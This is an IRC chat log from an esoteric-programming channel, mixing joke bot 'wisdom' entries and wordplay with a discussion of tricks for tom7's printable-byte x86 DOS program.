\ m–rdalsjökull//M–rdalsjökull is a draconic volcano harbouring the secret KATL base. \ eliot//Eliot inverted cats, then Taneb stole his 01:42:28 n 01:42:28 2/2: inversion. 01:44:39 Cale: Conor McBride is the best. 01:44:50 Cale: Er, never mind, I'm 4 years late. 01:48:14 Pie Fungot Domine. Dona eis Tanebventionem. 01:53:21 Well, I figured out why KeePass2 was misidentifying me here 01:53:35 (it was typing in the wrong password for no discernible reason) 01:54:04 I have NumShift, which makes my numrow map to 0123456789 instead of 1234567890, so it was typing in the numbers wrong 01:54:21 So I added an entire new interface JUST for this 01:54:27 @massages-lewd 01:54:28 Unknown command, try @list 01:54:31 @messages-lewd 01:54:31 oerjan said 1d 9h 30m 19s ago: I forget, was "Tubular" ever a slang the way "Radical" and "Far-out" were? <-- the surfer characters on mezzacotta use it, i think, so maybe it was 01:54:31 surfer slang? 01:55:59 . o O ( is that the correct vocative of Fungot? afair latin doesn't really have nouns ending in -t. ) 01:56:26 (imitates Surer voice) Dodecahedrawl 01:56:36 otoh afair anything _not_ ending in -us tends not to have a special vocative. 01:56:52 hm maybe -er 01:57:07 *Dodecahedral 01:57:15 *Surfer 01:57:23 (imitates Surfer voice) Polytopic 01:57:29 hppavilion[1]: i thought the drawl was on purpose. 01:57:43 oerjan: It was not, but it should of been 01:57:49 *have 01:57:50 * hppavilion[1] watches for cringes 01:57:54 oerjan: HAH! CAUGHT YOU! 01:58:13 i didn't cringe merely correct hth 01:58:19 * hppavilion[1] suffocates oerjan in a jar and adds him to his collection 01:58:42 * oerjan makes a daring escape together with jar jar binks 01:58:56 oerjan: I think that makes you a war criminal? 01:59:14 it's the darths & droids version 01:59:31 so a war hero 02:00:33 I think only Taneb is vocativable. at least, according to tradition. 02:00:56 . o O ( Fungotte? Ō Fungot? ) 02:02:37 unidecode 02:02:38 No output. 02:02:46 unidecode 🍐 02:02:48 U+1F350 PEAR \ UTF-8: f0 9f 8d 90 UTF-16BE: d83cdf50 Decimal: 🍐 \ 🍐 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) 02:05:50 boily: well we don't seem to have any nicks in -us, so... istr one taktentus at one point. 02:06:36 istr? 02:07:02 pear, in honour of the Biting Pear of Salamanca. 02:07:14 ? istr 02:07:15 istr? ¯\(°​_o)/¯ 02:07:44 learn istr istr is vaguely similar to iirc. 02:07:47 Learned 'istr': istr istr is vaguely similar to iirc. 02:07:50 ? iirc 02:07:51 iirc? ¯\(°​_o)/¯ 02:07:56 darn 02:08:36 ? afair 02:08:37 afair? ¯\(°​_o)/¯ 02:08:53  ls wisdom/ii* 02:08:54 wisdom/ii \ wisdom/iiuc 02:08:55 ? @messages 02:08:56 ​@messages? ¯\(°​_o)/¯ 02:08:59 ? @messages-loud 02:09:00 ​@messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-bold / @messages-good @messages-gold 02:09:31 that's a good one ^^ 02:09:49 jade plate / six eight 02:11:04 shachaf: Conor McBride is pretty great, sure :) 02:11:23 Cale: Someone linked to https://www.reddit.com/r/haskell/comments/11flui/for_extremists_only_containers_calculus_comonads/ 02:11:34 And I thought it was a recent comment but it's old. 02:12:15 haha, I remember that 02:12:31 Anyway recognizing his style is usually easy. 02:13:37 dowg ion 02:13:45 No output. 02:14:18 grwp lick 02:14:19 nightstar:The Nightstars are an unscientific myth of a sky covered in faint flickering lights. Only hermits and superstitious farmers believe this. 02:15:10 grwp diss 02:15:12 int-e:int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv. Hen gillar inte färger, men han gillar dissonans. \ oerjan:Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it h 02:15:22 2 grwp diss 02:15:24 2/3:so he put it here for connivance; but lately it's the only word he ever rememes. His arch-nemesis is Betty Crocker. He twice punned without noticing it. \ soviet russia:Soviet Russia used to be a synonym for the Soviet Union. In reality, the Soviet Union dissolved. Meanwhile, Soviet Russia dissolved reality, and you are a figment of i 02:15:29 n 02:15:30 3/3:ts imagination. \ webcarting:webcarting is not dissimilar to Mario Kart, but uses real, remote-controlled go-karts. Participants describe it as "the outlandish spectacle of real go-karting combined with the thrill and immersion of Mario Kart". 02:15:34 oerjan: Do you diss Roald Dahl? 02:16:04 yep, he was a jerk hth 02:16:53 Was he? 02:30:03 -!- Marcela_Gandara has joined. 02:33:22 learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. 02:33:24 Learned 'iirc': iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. 02:33:34 ? ii 02:33:35 Ii is a municipality in Finland, no matter what you do. Except for speaking Swedish. 02:34:09 Cybertown is back from the dead at http://cybertown-webgl.com/ ! 02:34:25 (April Fools, it's still dead. I am in the process of resurrecting the 3d worlds though) 03:07:00 -!- boily has quit (Quit: PILLBUG CHICKEN). 03:09:35 ? i,i 03:09:36 i,i is short for "I have wasps in my underwear, and I want to distract myself by saying". 03:09:45 cwlprits i,i 03:09:53 oerjän oerjän oerjän tsweẗt 03:19:49 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 03:21:26 -!- Marcela_Gandara has quit (Quit: Leaving.). 03:26:12 -!- Marcela_Gandara has joined. 03:30:12 -!- Marcela_Gandara has quit (Read error: Connection reset by peer). 03:31:33 -!- Zarutian has quit (Quit: Zarutian). 03:39:58 -!- keemyb has joined. 03:43:26 -!- Marcela_Gandara has joined. 03:52:26 -!- Marcela_Gandara has quit (Ping timeout: 258 seconds). 03:54:48 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 03:57:24 -!- propumpkin has joined. 03:59:43 -!- contrapumpkin has quit (Ping timeout: 256 seconds). 04:01:14 -!- j-bot has quit (Remote host closed the connection). 04:01:15 -!- FireFly has quit (Quit: Goodbye). 04:06:48 -!- Marcela_Gandara has joined. 04:17:49 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 04:19:57 -!- Marcela_Gandara has joined. 04:20:12 -!- Marcela_Gandara has quit (Read error: Connection reset by peer). 04:29:59 -!- FireFly has joined. 04:44:55 -!- madgoat has joined. 04:45:02 -!- madgoat has left. 05:20:47 -!- oerjan has quit (Quit: Nite). 05:24:27 -!- ^v^v has joined. 05:25:35 -!- ^v has quit (Ping timeout: 264 seconds). 05:32:09 -!- xa0 has quit (Ping timeout: 268 seconds). 05:32:44 -!- xa0 has joined. 05:34:37 -!- mtve has quit (Ping timeout: 268 seconds). 07:33:26 -!- mtve has joined. 07:35:17 -!- MoALTz has joined. 07:36:44 <\oren\> https://snag.gy/xMXrR9.jpg 07:36:55 <\oren\> hooray for glorius egypt 07:38:52 You should mark your screenshots from that game somehow. 07:39:18 <\oren\> also india is now all belong to glorius egypt 07:47:12 -!- ^v^v has quit (Ping timeout: 245 seconds). 07:57:08 -!- ^v has joined. 07:59:40 -!- ^v has quit (Max SendQ exceeded). 08:01:25 -!- ^v has joined. 08:18:13 -!- hppavilion[1] has joined. 08:22:30 @msg Jafet learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth. 08:22:30 Not enough privileges 08:23:09 @msg Jafet learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth. 08:23:09 Not enough privileges 08:23:13 Uh 08:23:18 @tell Jafet learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth. 08:23:18 Consider it noted. 08:23:22 THERE we go. 08:39:16 -!- augur has joined. 08:48:11 -!- AnotherTest has joined. 08:49:54 5 w 08:50:00 1/1:prefrigerator//Prefrigerators are generalized frigerators with built-in preconditioners for the modern precompact home. They are now available to preorder. \ substructural typing//Not to be confused with structural subtyping. \ herbalist//An herbalist is a list of herbas. \ xyzzy//Nothing happens. \ pipe//This is not a pipe. 08:53:36 λ> filter (S.member wos) [y | x <- wo, Just y <- [stripSuffix "list" x]] 08:53:37 ["black","check","due","duel","idea","minima","pane","short","sty"] 08:53:54 oerjan: ? idealist etc. twh 08:57:32 -!- zzo38 has quit (Ping timeout: 240 seconds). 09:04:22 postfridgerator? 09:05:52 -!- j-bot has joined. 09:26:04 -!- augur has quit (Read error: Connection reset by peer). 09:26:22 -!- augur has joined. 09:29:18 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 09:29:23 -!- ^v has quit (Ping timeout: 258 seconds). 09:30:09 -!- ^v has joined. 10:17:56 -!- augur has quit (Remote host closed the connection). 10:20:02 -!- augur has joined. 10:25:15 -!- augur has quit (Remote host closed the connection). 10:57:27 @messages-loop 10:57:27 hppavilion[1] said 2h 34m 8s ago: learn iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. <-- I think that you want to put that one in tomfoolery hth. 10:58:04 grwp fool 10:58:06 amigamml:Only fools such as zzo38 and so on try to use AmigaMML on a PC. Real Men try to use AmigaMML on a Amiga computer. \ https://devlabs.linuxassist.net/projects/amigamml/wiki/Frequently_and_unfrequently_asked_questions \ guillible:A guillible person is someone who can be fooled with a Scheme script. \ time cube:EARTH HAS 4 CORNER SIMULTANEOUS 10:59:21 2 grwp fool 10:59:22 2/3: SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HOUR ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wrong) bible time. 11:26:45 Boredom ^ 2 11:27:03 2 boredom 11:27:05 2/1: 11:27:45 ? iirc 11:27:47 iirc means that a fact was once mentioned by someone “in IRC”, and is therefore true. 11:28:09 I am a billionaire. 11:28:11 iirc 11:59:26 -!- wob_jonas has joined. 12:00:02 Have you looked at tom7's latest esoteric programming masterpiece? http://www.cs.cmu.edu/~tom7/abc/ 12:00:14 (It's not really an esolang, but definitely esoteric programming.) 12:00:57 I have. 12:12:23 -!- Phantom_Hoover has joined. 12:12:23 -!- Phantom_Hoover has quit (Changing host). 12:12:23 -!- Phantom_Hoover has joined. 12:18:14 relatedly: http://web.cs.jhu.edu/~sam/ccs243-mason.pdf 12:19:51 Jafet: yes, I think I've seen that. what distinguishes tom7's work is the "expert mode" rule 12:48:29 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 13:02:46 -!- erkin has joined. 13:04:42 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 13:05:42 -!- Phantom_Hoover has joined. 13:06:09 it's amazing, but I wish there was a way to not rely on fs = 0 though... (AFAIK DOS doesn't touch fs at all; its value will be determined by the last program to run.) 13:07:49 I don 13:07:58 't see a way around it though 13:12:13 -!- wob_jonas has joined. 13:13:00 http://sprunge.us/IIET ... only tried it in dosbox though, maybe I should configure dosemu... 13:15:52 -!- wob_jonas has quit (Client Quit). 13:17:08 -!- wob_jonas has joined. 13:17:59 int-e: you should probably try it with both various versions of MS-DOS and Freedos. It's quite possible that some of them don't modify FS at all. 13:24:16 Basically the thing I'm not sure about is emm386.sys (and obviously, the various "DOS extenders"). Otherwise I would be very much surprised if DOS touched fs or gs. 13:25:11 int-e: well, DOS could use FS for its original purpose, as an extra segment register because four segment registers are too few, but obviously it can only do so in paths that don't have to work on older systems 13:25:20 when was FS even introduced? in 286 or 386? 13:25:25 386 13:25:33 yes, that makes it less likely 13:25:37 that's why I would be surprised 13:25:42 so MS-DOS probably doesn't use it much, but Freedos could 13:56:22 yeah, freenode does something to those registers... getting fs=A204 and gs=54C3 (no clue what these values are) and no persistence between program executions. 13:57:01 freenode? 13:57:14 Freedos, hmm. 13:57:32 Plain MS DOS 6.22 is fine. I don't think I can be bothered to play with himem or emm386 or other DOS versions. 13:57:41 does any of them point to the start of any of your segments? 13:58:05 wait... you start DOS 6.22 WITHOUT himem? I almost never do that. himem is in my minimal configuration 13:58:27 note also that there are two versions of himem and of emm386 out there: one distributed with DOS 6.22, and one distributed with Windows 3 13:58:33 at least two versions, possibly more 14:00:01 himem is useful because if you load it, you get more conventional memory remaining, I think because there are parts of dos that it isn't willing to leave for swap from the system disk, but is willing to put into himem or something 14:00:07 frankly I don't understand how it works 14:18:32 well, himem.sys is loaded. 15:15:23 hm 15:15:29 what has never been first-classed before... 15:15:56 well, primitive types like int and boolean aren't first-classed often. 15:19:48 the thing is, many languages have associative arrays, and classes 15:20:03 so you can make first class everything 15:20:27 -!- Zarutian has joined. 15:36:13 -!- boily has joined. 15:36:57 first class gotos 15:37:09 first class pointers 15:37:20 actually, wait, that's C's & 15:41:27 -!- oerjan has joined. 15:41:34 rdochelloc. you may want to check setjmp and longjmp hth 15:41:55 helløøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøø 15:41:56 helloily. 15:42:00 rjan. 15:43:24 * oerjan feels decapitated 15:44:30 * rdococ mapoles boily in a classic plot twisr 15:44:36 s/twisr/twist 15:45:02 hoily, hellørjan 15:45:53 oerjan: it was a non-local dynamic porthello. 15:46:25 * oerjan gets annoyed that vim's hlsearch isn't local to a window 15:46:57 ? ostrich 15:46:58 Ostrich used to be a large middle European empire in frequent conflict with Turkey. After a famine it sort of split into Ostrich/Hungry. Alas its policy of keeping its head in the sand did not get it through the Great War, and with its final attempts to take flight failing, it ended up cut into several pieces. 15:47:14 grwp ostrich 15:47:15 feather:A feather is something that can be found on most birds. It is responsible for their ability to not spontaneously float, seeing as how feathers are made of osmium. Penguins and ostriches have more feathers than most other birds, many of which are internal. 15:47:21 grwp strich 15:47:23 feather:A feather is something that can be found on most birds. It is responsible for their ability to not spontaneously float, seeing as how feathers are made of osmium. Penguins and ostriches have more feathers than most other birds, many of which are internal. \ ostrich:Ostrich used to be a large middle European empire in frequent conflict with 15:47:36  grwp -l strich 15:47:37 feather \ ostrich \ turkey 15:47:43 ? turkey 15:47:44 Turkey was the center of an empire that gobbled up much of Eastern Europe and the Middle East, something which brought them into conflict with Ostrich. In the 19th century the overstuffed empire started declining, and after the Great War it was cut up like so much Shish Kebab. 15:48:09 yummy shish taouk... 15:48:19 I wonder if one of those should mention that ostriches eat diamonds but don't destroy them 15:48:24 sort of like yoshis 15:48:51 i'm pretty sure they shouldn't. 15:49:29 they also eat important documents and other objects 15:49:33 legal documents 15:49:39 in fact i don't recognize the reference, i assume it's some game, which means it's _definitely_ out of place. 15:50:07 you don't read the classics, oerjan 15:50:18 probably not. 15:50:34 which classic? 15:52:19 my mind somehow pops up tintin... 15:52:39 -!- DHeadshot has joined. 15:53:00 (which i haven't read much) 15:53:51 Jules Verne novels 15:54:47 let's MODE #esoteric +b ~j:#esoteric 15:54:49 hm, i've read many of those. but that was >20 years ago. 15:54:59 what does that mean 15:55:42 oerjan: it's an extended ban syntax. it means to ban users who aren't banned on #esoteric 15:57:13 OKAY 15:57:46 * oerjan finds the jules verne novel on wikipedia. not heard of before. 15:58:30 i think that's too obscure even for wisdom. 15:59:39 wisdom 15:59:40 augur//augur took no cakes, but he's a linguist. 15:59:50 yup, definitely too obscure. 16:00:12 ? gregor 16:00:12 Gregor took forty cakes. He took 40 cakes. That's as many as four tens. And that's terrible. 16:00:18 obvious reference hth 16:00:21 How dare he. 16:00:48 rdococ: he can do it because he runs HackEgo. well, in theory. 16:01:27 cwlprits Gregor 16:01:34 No output. 16:01:37 cwlprits Gregor 16:01:43 No output. 16:01:49 oh 16:01:55 cwlprits gregor 16:02:02 nitïa 16:02:10 ancient wisdom 16:02:43 ? rdococ 16:02:44 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. 16:07:58 oerjan: ? idealist etc. twh <-- meh 16:08:28 i don't quite see how to turn that template into good wisdoms. 16:11:13 MODE #esoteric +b bool canBan(user) { return !esoteric.banned[user]; } 16:12:22 "i think that's too obscure even for wisdom" -- there's such a thing? 16:13:30 ? pineapple 16:13:31 Pineapple is a hybrid species descended from a cultivar of spinach and wild ivy, making it a class 6 vegetable. 16:15:43 http://sprunge.us/gLGL <-- the 'bound' instruction isn't as useless as tom7 made it sound, it allows (some) clean system calls. 16:17:46 where "clean" means that interrupts are reenabled. 16:18:52 int-e: are you sure? because there are many other ways to cause faults, like using address-size override to index past the 64k segment boundary, and some of them you could do even in such a way that when the instruction is restarted it no longer faults (because many DOS syscall like keyboard non-blocking read put the return value in AL), 16:19:00 but I think you would end up with interrupts disabled 16:19:02 I'm not sure 16:19:10 I should read up on the rules of interrupts later 16:19:58 int-e: I don't see why it would be different than an illegal opcode fault though, why would one end up with interrupts disabled and the other not 16:20:02 that's why I discarded that idea 16:20:33 int-e: I sent a mail with some questions to tom7 by the way, hopefully he'll clarify on some of the finer points and/or fix errors 16:20:41 maybe he'll even improve his program 16:21:05 wob_jonas: the point is that the bounds condition can be fixed by the system call. (the AH=0x40h, for example, changes AX). 16:21:34 this is not the case for the #UD caused by ARPL. 16:22:02 int-e: yes, and the segmentation fault can be fixed too, and I think you can even fix the undefined operation with some syscalls like read that write to arbitrary memory address, though those syscalls might be less useful 16:22:18 hmm wait 16:22:25 the segmentation fault won't work 16:22:32 damn 16:22:41 but basically I wanted to redeem the bound instruction :P 16:22:55 int-e: you might be right that the bound is the easiest to fix... let me look up what bound does again 16:23:31 (I'll also have to read up what those decimal instructions do) 16:26:08 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 16:28:56 learn Postfridgerators are what we'll use once global warming really takes hold. 16:28:58 Learned 'postfridgerator': Postfridgerators are what we'll use once global warming really takes hold. 16:30:13 what about cofridges? 16:30:41 ? fternoon 16:30:42 Fternoon is the time of day when the Danes usually eat their fternooners. 16:31:45 learn Cofridges are ovens that are disrespectful towards entropy. 16:31:47 Learned 'cofridge': Cofridges are ovens that are disrespectful towards entropy. 16:34:18 learn_append cofridge They are useful for preparing ffee. 16:34:20 Learned 'cofridge': Cofridges are ovens that are disrespectful towards entropy. They are useful for preparing ffee. 16:36:22 hm i'm getting ovens and stoves mixed up 16:37:00 you could substitute ovens for stoves 16:38:12 also, they can be used to cook cofood 16:38:19 well 16:38:26 *ok 16:38:32 ye 16:38:55 "They are useful for copreparing ffee, and for oking cofood." 16:39:05 slwd cofridge//s,ovens,& or stoves,;s,., and oking cofood., 16:39:07 cofridge//Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for preparing ffee and oking cofood. 16:40:17 slwd cofridge//s,pre,post, 16:40:19 cofridge//Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for postparing ffee and oking cofood. 16:40:43 Would cofridges respect coentropy, or would they corespect it? 16:40:53 Depends on the comodel, I cosuppose. 16:41:08 s/Depends/Codepends/ 16:41:12 codependency is nasty, i hear 16:41:52 oh, that's just because it's cogood 16:43:36 -!- Lord_of_Life has quit (Excess Flood). 16:45:59 -!- Lord_of_Life has joined. 16:59:42 ? onion 16:59:43 onion? ¯\(°​_o)/¯ 17:00:17 learn Onions are the bullies of the dinner plate. They can make you cry. 17:00:19 Learned 'onion': Onions are the bullies of the dinner plate. They can make you cry. 17:00:40 ? conion 17:00:41 conion? ¯\(°​_o)/¯ 17:00:49 ? nothing 17:00:50 Nothing would have been better than to create this wisdom entry. 17:00:52 ? coco 17:00:53 coco? ¯\(°​_o)/¯ 17:01:31 ? right 17:01:32 Right is not two wrongs but three lefts. 17:01:37 ? left 17:01:38 left? ¯\(°​_o)/¯ 17:01:41 ? wrong 17:01:43 wrong? ¯\(°​_o)/¯ 17:06:50 ? cod 17:06:51 cod? ¯\(°​_o)/¯ 17:07:03 le//rn cod//Cod is a fish's favourite fish person shooter. 17:07:05 Learned 'cod': Cod is a fish's favourite fish person shooter. 17:07:41 ? ¯\(°​_o)/¯ 17:07:42 ​¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯ 17:18:50 ? glitch 17:18:51 glitch? ¯\(°​_o)/¯ 17:19:00 le//rn glitch//glitch? ¯\(°​_o)/¯ 17:19:02 Learned 'glitch': glitch? ¯\(°​_o)/¯ 17:19:55 ? /ban 17:19:56 ​/ban? ¯\(°​_o)/¯ 17:27:56 oerjan: the tax one mainly. why else would i have said "adjustment"? 17:39:24 b_jonas: okay, I can do, in principle, read the CS register, and perform arbitrary long jumps :-) 17:39:33 s/ do// 17:40:25 ("in principle" meaning I haven't actually written printable code for that) 17:42:36 b_jonas: http://sprunge.us/UBIK has details if you're interested 17:43:19 * quintopia sprays UBIK on int-e 17:52:30 -!- trn has joined. 17:55:20 We need a new paradigm. 17:57:24 -!- boily has quit (Quit: YET CHICKEN). 17:58:19 nope 17:59:32 yepe 18:03:27 the paradigm that can be wished for is not the true paradigm. 18:03:29 -!- Zarutian has quit (Quit: Zarutian). 18:03:47 okay 18:03:51 fine 18:04:01 I'll have a coparadigm instead 18:04:07 NOOOOOOO 18:04:23 ? 18:04:24 cono? 18:05:05 you'll doom as all 18:05:15 *us 18:06:39 why? 18:11:27 * oerjan doesn't feel like rdococ is getting into the spirit of doom 18:11:42 ahh 18:12:01 better, but needs more a's 18:13:01 . o O ( how does cooperation look like among category theorists? ) 18:14:28 heh 18:17:21 -!- wob_jonas has joined. 18:17:41 int-e: I'm not too surprised about reading the CS register. But arbitrary long jumps? That sounds interesting 18:17:58 Tell that to tom7 too, he'll be more interested than I am 18:18:11 Ah, you probably already did 18:18:43 it sounds like int-e has solved the two most awkward issues, at least partially 18:18:57 oerjan: which two? 18:19:37 lack of backward jumps and no normal output? 18:19:55 oh, and maybe the memory size too, with long jumps? 18:20:13 er, available code size 18:20:31 well, this will be interesting 18:21:52 oh! overwriting the return address of the syscall on the stack! that sounds so fragile, it will usually work, but not if the BIOS copies those values first 18:22:16 the last instruction will be an iret 18:22:24 it has no choice :P 18:22:44 int-e: but it can be an iret from a different stack, or it can change the stack 18:22:46 it's allowed to 18:22:51 real mode 18:23:05 -!- Zarutian has joined. 18:23:25 but sure, it's not likely, unless it's a DOS that runs in protected mode and runs your code in v86 mode and the interrupt actually goes to protected mode and doesn't use your stack at all, which I imagine dosbox might do 18:23:58 -!- Zarutian has quit (Read error: Connection reset by peer). 18:23:59 well it doesn't. 18:24:07 anyway, brilliant trick 18:24:30 I don't care if DOS can ruin it in theory, it will work in practice 18:24:36 -!- Zarutian has joined. 18:25:14 but int-e, does this mean that tom7's original assertion about how the interrupt flag will remain set after an interrupt return is wrong? or am I just misinterpreting what he says? 18:26:18 he argues that one cannot safely return (since that will just trigger the #UD again), and there's no other way of restoring the interrupt enabled flag. 18:27:20 int-e: ah! 18:27:38 I thought he meant that the interrupt flag will remain set even if it does return 18:27:56 but yes, I was stupid to think that 18:28:00 thanks 18:28:56 I guess then there might be ways other than the bound to do this, the bound is just one of the most convenient 18:29:01 but possibly not the most general 18:29:50 can you directly ask the programmable interrupt controller to send you a single interrupt request? 18:29:53 sure, I saw an opportunity and ran with it :) 18:30:03 Uh, probably. 18:30:16 or maybe the keyboard controller 18:32:58 I'm asking because then you could use syscalls other than the ones that change AX or something 18:33:11 although at some point using syscalls will become cheating 18:33:25 because eventually you'll just write to a file and exec some other program 18:34:40 oh look! tom7 just replied to me 18:34:46 gotta look at this 18:36:32 whoa WOW 18:37:12 wow? 18:37:38 I asked him why his paper lists the table of 32-bit addressing modes. He says that in 16-bit mode, if you use the address size override prefix, then the ModRM byte is interpreted as in 32-byte code. I totally didn't know that! 18:38:03 That means you _can_ use segmentation fault this way too, because you can index with EAX even in 16-bit mode, and have the system call modify AL 18:38:19 (instead of bound that is, but bound is easier) 18:38:30 I'll have to read the intel & amd manuals about this 18:38:35 this, like, changes everything 18:39:29 "If I continue working on this (which I admit is unlikely :))" 18:39:41 yeah, obviously 18:39:46 but still, it's good to know what you can do 18:41:23 he suggests using "bye" for the bound: bound di,[bx+di+0x65] 18:41:34 at least the final one :P 18:41:58 int-e: should I paste my mail and his reply? 18:42:04 (even the parts where I'm stupid) 18:42:43 your call 18:43:06 heck, I will 18:43:35 wtf, why does dpaste.com not work? 18:43:38 I need some other paste site 18:43:42 ? paste 18:43:44 ​"Paste" is a short story by Henry James. Its contents have been cut into pieces and distributed over numerous tin boxes on the World Wide Web, little pearls of wisdom buried among ordinary pastes. 18:43:52 do we have an #esoteric,-approved paste wobsite/ 18:44:45 I tend to use arin.ga, which I think izabera runs 18:45:12 * int-e tends to use sprunge.us, but of course that one is lossy 18:45:49 Taneb: ok 18:46:18 https://arin.ga/V1MiYH 18:46:23 great, crazy syntax coloring 18:46:35 is that trying to syntax color C? 18:47:00 int-e: ^ 18:48:27 ...I'll read the raw version. 18:49:19 tasty candy colors 18:52:57 -!- Lord_of_Life has quit (Excess Flood). 18:53:29 -!- Lord_of_Life has joined. 18:54:37 -!- Lord_of_Life has quit (Excess Flood). 18:56:59 -!- Lord_of_Life has joined. 18:57:14 -!- oerjan has quit (Quit: Later). 19:24:04 rdococ: actually I'm less annoyed by the candy colors and more by the black background 19:24:25 (with low contrast stripes which somehow are really hard on my eyes) 19:25:25 aw, because I just ate all the candy 19:42:00 oerjan: Neither did I. 19:43:35 ørjan 19:51:59 wob_jonas: PG 19:52:26 I made a small comment on the implementation of |, which apparently some other people made as well. 19:53:07 doag 19:53:08 10576:2017-04-02 le//rn glitch//glitch? \xc2\xaf\\(\xc2\xb0\xe2\x80\x8b_o)/\xc2\xaf \ 10575:2017-04-02 le//rn cod//Cod is a fish\'s favourite fish person shooter. \ 10574:2017-04-02 learn Onions are the bullies of the dinner plate. They can make you cry. \ 10573:2017-04-02 slwd cofridge//s,pre,post, \ 105 19:54:51 hi 19:55:35 That's a lot of spam in the history. 19:56:05 * Zarutian starts up the Monte Python sketch 'Spam spam spam...' for shachaf. 19:56:53 No thanks. 19:57:11 -!- augur has joined. 20:00:10 shachaf: what? 20:00:23 heh, "I once transmuted flesh into gold though not entirely on purpose" 20:00:27 oh, you mean the implemntation of bitwise or? 20:00:29 ok 20:07:42 -!- ^v has quit (Ping timeout: 260 seconds). 20:10:32 wob_jonas: Yes, he implemented a|b as (a&B)+(a&b) rather than (a&B)^(a&b) 20:10:45 Despite not having an easy implementation of + 20:13:23 shachaf: I think his description of how he does the bitwise or was very vague, with no final assembly code shown, but in the end it doesn't matter too much, it's such a minor thing compared to other optim'ions, so I didn't think through what the best impl would be, rather tried to think about other stuff. 20:16:15 do you mean a^b^a&b 20:19:24 -!- ^v has joined. 20:24:24 I mean a lowercase b, if that's what you mean. 20:35:38 -!- zzo38 has joined. 20:45:02 -!- zzo38 has quit (Ping timeout: 260 seconds). 20:53:34 -!- Zarutian has quit (Quit: Zarutian). 20:54:02 -!- zzo38 has joined. 21:05:06 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 21:25:14 -!- contrapumpkin has joined. 21:28:17 -!- propumpkin has quit (Ping timeout: 246 seconds). 21:31:11 -!- augur has quit (Remote host closed the connection). 21:31:47 -!- augur has joined. 21:33:28 -!- augur has quit (Remote host closed the connection). 21:40:18 -!- DHeadshot has quit (Ping timeout: 268 seconds). 21:54:49 -!- Zarutian has joined. 21:55:41 -!- Zarutian has quit (Read error: Connection reset by peer). 21:56:01 -!- Zarutian has joined. 22:09:42 -!- Phantom_Hoover has quit (Remote host closed the connection). 22:12:15 -!- sebbu2 has joined. 22:12:37 -!- Phantom_Hoover has joined. 22:15:29 -!- sebbu has quit (Ping timeout: 240 seconds). 22:21:55 -!- tromp_ has quit (Quit: Konversation terminated!). 22:27:11 -!- MoALTz has quit (Quit: Leaving). 22:31:46 -!- hppavilion[1] has joined. 22:35:02 NaNoWriMo is 10⁻⁹ of a WriMo, yes? 22:42:25 -!- sebbu2 has changed nick to sebbu. 22:43:30 Sounds like a good thing to post to your Twitter account. 22:47:22 -!- Marcela_Gandara has joined. 23:02:05 shachaf: It does 23:02:18 On a more interesting note, I've found a way to make my gef program more efficient 23:02:33 Well, sort of. Depends on your definition, tbh 23:02:47 The program itself runs a lot faster, but doesn't actually do anything 23:03:57 The thing that makes it better is a separate, long-lived process that keeps running for as long as you like, which means you don't need to constantly wait for the moviepy library to be re-imported and files can be cached for convenience 23:13:55 -!- Guest72972 has joined. 23:19:35 -!- AnotherTest has quit (Ping timeout: 264 seconds). 23:25:02 -!- DHeadshot has joined. 23:27:37 -!- Guest72972 has quit (Quit: That's all folks!). 23:28:31 Make the Magic: the Gathering card it exiles only spells and abilities that cannot be countered, but if it can countered then it does not affect it. 23:29:46 -!- Marcela_Gandara has quit (Read error: Connection reset by peer). 23:34:48 -!- Marcela_Gandara has joined. 23:39:56 -!- DHeadshot has quit (Ping timeout: 268 seconds). 23:41:04 -!- oerjan has joined. 23:42:53 oerjan: Neither did I. <-- did what? 23:43:18 -!- Marcela_Gandara has quit (Ping timeout: 260 seconds). 23:43:26 * oerjan swats shapr for ruining his nickname completion -----### 23:45:01 -!- Marcela_Gandara has joined. 23:45:25 oerjan: Figure out good wisdoms to make from those words. 23:45:49 That's why I gave the job to the expert. 23:46:01 I forgot he was a lazy expert. 23:48:09 i'm also absent minded, so don't expect me to remember context from hours ago that is nowhere nearby in the logs twh 23:49:27 * int-e plants a memory in oerjan's brain 23:49:45 i have a memory it just has weird selection 23:54:56 I was thinking of the term in the way of "Inception", though I have no concrete idea in mind yet... 23:57:20 that's good, as i remember abstract ideas better 2017-04-03: 00:06:17 you're welcome? 00:07:49 -!- Ir0nY has joined. 00:07:58 -!- sparr has quit (Ping timeout: 240 seconds). 00:08:47 -!- IronY has quit (Ping timeout: 264 seconds). 00:08:47 -!- Ir0nY has changed nick to IronY. 00:13:31 -!- Marcela_Gandara has quit (Ping timeout: 240 seconds). 00:15:53 -!- Marcela_Gandara has joined. 00:18:52 in this channel, everyone is welcome 00:19:27 the only limit 